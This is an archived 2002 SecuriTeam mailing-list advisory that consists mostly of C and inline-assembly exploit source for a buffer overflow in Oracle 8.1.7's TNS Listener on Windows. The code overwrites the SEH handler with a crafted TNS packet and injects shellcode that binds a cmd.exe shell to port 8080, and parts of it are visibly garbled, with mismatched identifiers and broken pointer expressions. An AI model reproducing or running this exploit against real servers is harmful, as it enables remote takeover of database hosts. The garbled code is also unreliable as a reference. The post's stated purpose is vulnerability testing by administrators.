

[EXPL] Oracle TNS SEH Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0098.html>

From: support@securiteam.com

Date: 11/27/02

From: support@securiteam.com

To: list@securiteam.com

Date: 27 Nov 2002 09:18:40 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Oracle TNS SEH Exploit

SUMMARY

The following is an exploit code for a buffer overflow vulnerability that was found in Oracle's TNS (Listener), this exploit code can be used by administrators to test their servers for the vulnerability.

DETAILS

Vulnerable systems:

* Oracle version 8.1.7

Exploit:

/*Oracle TNS SEH Exploit By Benjurry.

Oracle Remote Vulnerability discovered by COVERT Labs

Code by benjurry, benjurry@xfocus.org

Welcome to <http://www.xfocus.net> & <http://www.xfocus.org>

Thank my friends:Batman,xq and Yuange.

Thank members of Xfocus.

This Exploit only test on Win2k Chinese +sp2 and Oracle 8.1.7

2001.7.20

Securiteam: [EXPL] Oracle TNS SEH Exploit

```
*/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#pragma comment (lib, "Ws2_32")

#define FNENDLONG 0x08
#define NOPCODE 0x90
#define NOPLONG 0x20
#define BUFFSIZE 0x1b00
#define RETEIPADDRESS 0x0
#define SHELLPORT 0x1f90 //shell port =8080
#define PORT 1521

void shellcodefnlock();
void shellcodefn();

void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char *argv[])
{
char *str="\x1f\x90""LoadLibraryA""\x0""CreatePipe""\x0"
"CreateProcessA""\x0""CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0""WriteFile""\x0"
"wsock32.dll""\x0""socket""\x0"
"bind""\x0""listen""\x0"
"accept""\x0""send""\x0"
"recv""\x0""ioctlsocket""\x0"
"closesocket""\x0"
"cmd.exe""\x0""exit\x0d\x0a""\x0"
"strend";

char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char
cmd1[]="(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=status)(AR
char cmd2[]="1)(VERSION=1)))";
char head[]="\x00\x59\x00\x00\x01\x00\x00\x00\x01\x36"
"\x01\x2c\x00\x00\x08\x00\x7f\xff\x7f\x08\x00\x00\x00\x01"
"\x00\x1f\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x34\xe6\x00\x00\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00";
char eipwinnt[]="\x63\x0d\xfa\x7f"; // jmp ebx

char JPNEXTJMP[]="\xeb\x06\x90\x90";
char JMPHELL[]="\xe9\x2a\xe7\xff\xff";

char buff[BUFFSIZE];
char recvbuff[BUFFSIZE];
char shellcodebuff[0x1000];
```

Securiteam: [EXPL] Oracle TNS SEH Exploit

```
char *shellcodefnadd,*chkespadd;
    unsigned char temp;
int OVERADD2=6346;
char buffer2[BUFFSIZE];
int ret;
int packetlength;
int cmdlength;
int tt,shellcodeport,sendpacketlong;
int i,j,k;
int OVERADD=0;

WSADATA WSADData;
struct hostent *ht;
struct sockaddr_in server;
memset(buff,NOPCODE,BUFFSIZE);
printf("Oracle Remote Vulnerability discovered by COVERT Labs\n");
printf("Code by benjurry,benjurry@xfocus.org\n");
printf("Welcome to http://www.xfocus.net\n");
if(argc<2)
{
    printf("usage:%s target\n",argv[0]);
    exit(1);
}

if((tt=WSAStartup(MAKEWORD(1,1), &WSADData)) != 0)
{
    printf("WSAStartup failed.\n");
    tt=GetLastError();
    WSACleanup();
    exit(1);
}
if((ht = gethostbyname(argv[1]))==0)
{
    printf("Unable to resolve host %s\n",argv[1]);
    exit(1);
}
server.sin_port = htons(PORT);
server.sin_family=AF_INET;
server.sin_addr=*((struct in_addr *)ht->h_addr);
if((ret = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
    printf("Unable to set up socket\n");
    exit(1);
}

if((connect(ret, (struct sockaddr *) &server, sizeof(server))) == -1)
{
    printf("Unable to connect\n");
    exit(1);
}
else
```

Securiteam: [EXPL] Oracle TNS SEH Exploit

```
printf("Connected.\n");
```

```
_asm{
    mov ESI,ESP
    cmp ESI,ESP
}
_chkesp();
chkespadd=(char *)_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
    ++chkespadd;
    i=(int*)chkespadd;
    chkespadd+=i;
    chkespadd+=4;
}

shellcodefnadd=(char *)shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
    ++shellcodefnadd;
    k=(int *)shellcodefnadd;
    shellcodefnadd+=k;
    shellcodefnadd+=4;
}

for(k=0;k<=0x500;++k){
    if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}

memset(buff,'\x42',BUFFSIZE);
for(i=0;i<NOPLONG;i++)
    buff[i]='\x90';

memcpy(buff+OVERADD+NOPLONG,shellcodefnadd+k+4,0x80);

shellcodefnadd=(char *)shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
    ++shellcodefnadd;
    k=(int *)shellcodefnadd;
    shellcodefnadd+=k;
    shellcodefnadd+=4;
}
```

Securiteam: [EXPL] Oracle TNS SEH Exploit

```
for(k=0;k<=0x1000;++k){
    if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}

memcpy(shellcodebuff,shellcodefnadd,k);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i<0x400;++i){
    if(memcmp(str+i,"strend",6)==0) break;
}
memcpy(shellcodebuff+k,str,i);

shellcodeport=SHELLPORT;
shellcodeport=htons(shellcodeport);
*(u_short*)(shellcodebuff+k)=shellcodeport;
fprintf(stderr,"\n shellport %d",htons(shellcodeport));

sendpacketlong=k+i;
for(k=0;k<=0x200;++k){
    if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
}

for(i=0;i<sendpacketlong;++i){
    temp=shellcodebuff[i];
    if(temp<=0x10||temp=='0'){

        buff[OVERADD+NOPLONG+k]='0';
        ++k;
        temp+=0x40;
    }
    buff[OVERADD+NOPLONG+k]=temp;
    ++k;
}

memcpy(buff+OVERADD2,JMPNEXTJMP,4);

// }
memcpy(buff+OVERADD2+4,eipwinnt,4);

memcpy(buff+OVERADD2+8,JMPSHELL,5);

for(i=OVERADD2+13;i<BUFFSIZE;i++)
    buff[i]='\x90';

memset(buffer2,'\x90',sizeof(buffer2));
memcpy(buffer2,head,sizeof(head)-1);
memcpy(buffer2+sizeof(head)-1,cmd1,sizeof(cmd1)-1);
memcpy(buffer2+sizeof(head)-1+sizeof(cmd1)-1,buff,sizeof(buff));
```

Securiteam: [EXPL] Oracle TNS SEH Exploit

```
memcpy(buffer2+sizeof(head)+sizeof(cmd1)+sizeof(buff)-3,cmd2,sizeof(cmd2)-1);
```

```
packetlength=58+sizeof(buff)+sizeof(cmd1)+sizeof(cmd2)-3;  
cmdlength=sizeof(buff)+sizeof(cmd1)+sizeof(cmd2)-3;
```

```
buffer2[0]=packetlength>> 8;  
buffer2[1]=packetlength & 0xff;  
buffer2[24]=cmdlength>>8;  
buffer2[25]=cmdlength& 0xff;
```

```
if(send(ret, buffer2, packetlength, 0) == -1)  
{  
    printf("Unable to send\n");  
    exit(1);  
}  
else  
{  
    printf("code sented...\n");
```

```
    }  
    Sleep(1000);  
    closesocket(ret);  
    return 0;
```

```
}
```

```
void shellcodefnlock()
```

```
{  
    _asm{  
        nop  
        nop  
        nop  
        nop  
        nop  
        nop  
        nop  
        nop  
        nop  
        jmp next  
getediadd: pop EDI  
        push EDI  
        pop ESI  
        xor ecx,ecx  
        mov cx,0x0fd0  
looplock: lodsb  
        cmp al,0x30  
        jnz sto  
            lodsb  
        sub al,0x40
```

Securiteam: [EXPL] Oracle TNS SEH Exploit

```
sto: stosb
    loop looplock
    jmp shell
next: call getediadd
```

```
shell: NOP
      NOP
      NOP
      NOP
      NOP
      NOP
      NOP
      NOP
```

```
    }
}
```

```
/*bind cmd.exe */
```

```
void shellcodefn()
{ char Buff[0x800];
  int *except[3];
```

```
    FARPROC closesocketadd;
    FARPROC ioctlsocketadd;
    FARPROC recvadd;
        FARPROC sendadd;
        FARPROC acceptadd;
        FARPROC listenadd;
        FARPROC bindadd;
        FARPROC socketadd;
// FARPROC WSASStartupadd;
```

```
    FARPROC NOPNOP;
```

```
    FARPROC WriteFileadd;
    FARPROC ReadFileadd;
    FARPROC PeekNamedPipeadd;
    FARPROC CloseHandleadd;
    FARPROC CreateProcessadd;
    FARPROC CreatePipeadd;
    FARPROC procloadlib;
```

```
    FARPROC apifnadd[1];
    FARPROC procgetadd=0;
```

```
    char *stradd;
    int imgbase,fnbase,k,l;
    HANDLE libhandle; //libwsock32;
        STARTUPINFO siinfo;
        SOCKET listenFD,clientFD;
        struct sockaddr_in server;
```

Securiteam: [EXPL] Oracle TNS SEH Exploit

```

    int iAddrSize = sizeof(server);
int lBytesRead;
u_short shellcodeport;

    PROCESS_INFORMATION ProcessInformation;
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    SECURITY_ATTRIBUTES sa;
_asm { jmp nextcall
    getstradd: pop stradd
        lea EDI,except
        mov eax,dword ptr FS:[0]
    mov dword ptr [edi+0x08],eax
    mov dword ptr FS:[0],EDI

}
    except[0]=0xffffffff;
    except[1]=stradd-0x07;

    imgbase=0x77e00000;
    _asm{
        call getexceptretadd
    }
for(;imgbase<0xbffa0000,procgetadd==0;){
    imgbase+=0x10000;
    if(imgbase==0x78000000) imgbase=0xbff00000;
    if(*( WORD *)imgbase=='ZM'&& *(WORD *)imgbase+(int
*)(imgbase+0x3c)=='EP'){
        fnbase=(int *)imgbase+(int *)imgbase+0x78+imgbase;
        k=(int *)fnbase+0xc+imgbase;
        if(*(int *)k=='NREK'&&*(int *)k+4=='23LE'){
            libhandle=imgbase;
            k=imgbase+(int *)fnbase+0x20;
            for(l=0;l<*(int *)fnbase+0x18;+1,k+=4){
                if(*(int *)imgbase+(int *)k=='PteG'&&*(int *)k+4+imgbase+(int
*)k=='Acor'){
                    k=(WORD *)l+1+imgbase+(int *)fnbase+0x24);
                    k+=*(int *)fnbase+0x10-1;
                    k=(int *)k+k+k+k+imgbase+(int *)fnbase+0x1c);
                    procgetadd=k+imgbase;
                    break;
                }
            }
        }
    }
}
}
}
}

_asm{
    lea edi,except
    mov eax,dword ptr [edi+0x08]
    mov dword ptr fs:[0],eax
}

```

Securiteam: [EXPL] Oracle TNS SEH Exploit

```
if(procgetadd==0) goto die ;

shellcodeport=*(u_short *)stradd;
stradd+=2;
for(k=1;k<17;++k) {
    if(k==8) libhandle=proclloadlib(stradd);
    else apifnadd[k]=procgetadd(libhandle,stradd);
    for(;++stradd){
        if(*(stradd)==0&&*(stradd+1)!=0) break;
    }
    ++stradd;
}

// WSASStartupadd(MAKEWORD(1, 1), &wsaData);

    listenFD = socketadd(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    server.sin_family = AF_INET;
    server.sin_port =shellcodeport;
    //SHELLPORT;
    server.sin_addr.s_addr=0;
    k=1;
    while(k!=0){
        k=bindadd(listenFD,&server,sizeof(server));
        server.sin_port+=0x100;
        if(server.sin_port<0x100) ++server.sin_port;
    }
    listenadd(listenFD,10);

while(1){
    sa.nLength=12;
    sa.lpSecurityDescriptor=0;
    sa.bInheritHandle=TRUE;

    CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
    CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);

// ZeroMemory(&siinfo,sizeof(siinfo));
    _asm{
        lea EDI,siinfo
        xor eax,eax
        mov ecx,0x11
        repnz stosd
    }
    siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    siinfo.wShowWindow = SW_HIDE;
    siinfo.hStdInput = hReadPipe2;
    siinfo.hStdOutput=hWritePipe1;
    siinfo.hStdError =hWritePipe1;
```

Securiteam: [EXPL] Oracle TNS SEH Exploit

```
// k=0;
// while(k==0)
// {

k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
// stradd+=8;
// }
    PeekNamedPipeadd(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);

    clientFD=acceptadd(listenFD, &server, &iAddrSize);

    while(1) {
        PeekNamedPipeadd(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
        if(lBytesRead>0) {
            ReadFileadd(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
            if(lBytesRead>0) sendadd(clientFD, Buff, lBytesRead, 0);
            else sendadd(clientFD, stradd, 8, 0);
        }
        else {
            lBytesRead=recvadd(clientFD, Buff, 1024, 0);

            if(lBytesRead<=0){
// CloseHandleadd(ProcessInformation.hProcess); //.dwProcessId;
                lBytesRead=6;

                WriteFileadd(hWritePipe2, stradd+8, lBytesRead, &lBytesRead, 0);
                closesocketadd(clientFD);
                break;
            }
            else{
                sendadd(clientFD, Buff, lBytesRead, 0);

                WriteFileadd(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
            }
        }
    }

    die: goto die ;
    _asm{

getexceptretadd: pop eax
                push eax
                mov edi, dword ptr [stradd]
                mov dword ptr [edi-0x0e], eax
                ret
errprogram: mov eax, dword ptr [esp+0x0c]
                add eax, 0xb8
                mov dword ptr [eax], 0x11223344 //stradd-0xe
```

Securiteam: [EXPL] Oracle TNS SEH Exploit

```
xor eax,eax //2
ret //1
exceptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}

void cleanchkesp(char *fnadd,char *shellbuff,char *chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;

for(i=0;i<len;++i){
temp=shellbuff[i];
if(temp==0xe8){
k=(int*)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:benjurry@xfocus.org> benjurry of Xfocus.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

Securiteam: [EXPL] Oracle TNS SEH Exploit

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.